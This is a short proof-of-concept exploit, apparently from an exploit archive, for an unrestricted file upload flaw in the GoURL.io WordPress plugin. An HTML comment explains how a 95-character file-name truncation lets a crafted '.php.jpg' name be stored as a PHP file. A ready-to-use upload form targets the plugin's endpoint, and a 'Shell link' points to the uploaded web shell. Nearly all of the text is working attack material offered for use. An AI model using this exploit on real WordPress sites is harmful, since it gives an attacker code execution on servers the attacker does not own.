WordPress Plugin GoURL.io < 1.4.14 - File Upload
<html> <!-- GoURL Unrestricted Upload Vulnerablity POC by @pouyadarabi CWE-434 Vulnerable Fucntion: https://github.com/cryptoapi/Bitcoin-Wordpress-Plugin/blob/8aa17068d7ba31a05f66e0ab2bbb55efb0f60017/gourl.php#L5637 Details: After checking file extention substring was used for file name to select first 95 letter line #5655 So enter file name like "123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php.jpg" will upload a file with .php extention in website :) --> <body> <!-- Replace http://127.0.0.1/wp/ with target wordpress website Fill id param in form action to any active download product --> <form action="http://127.0.0.1/wp/?page=gourlfile&id=1" method="POST" enctype="multipart/form-data"> <input type="file" name="gourlimage2" /> <input type="submit"/> </form> <a href="http://127.0.0.1/wp/wp-content/uploads/gourl/images/i123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php">Shell link</a> </body> </html> |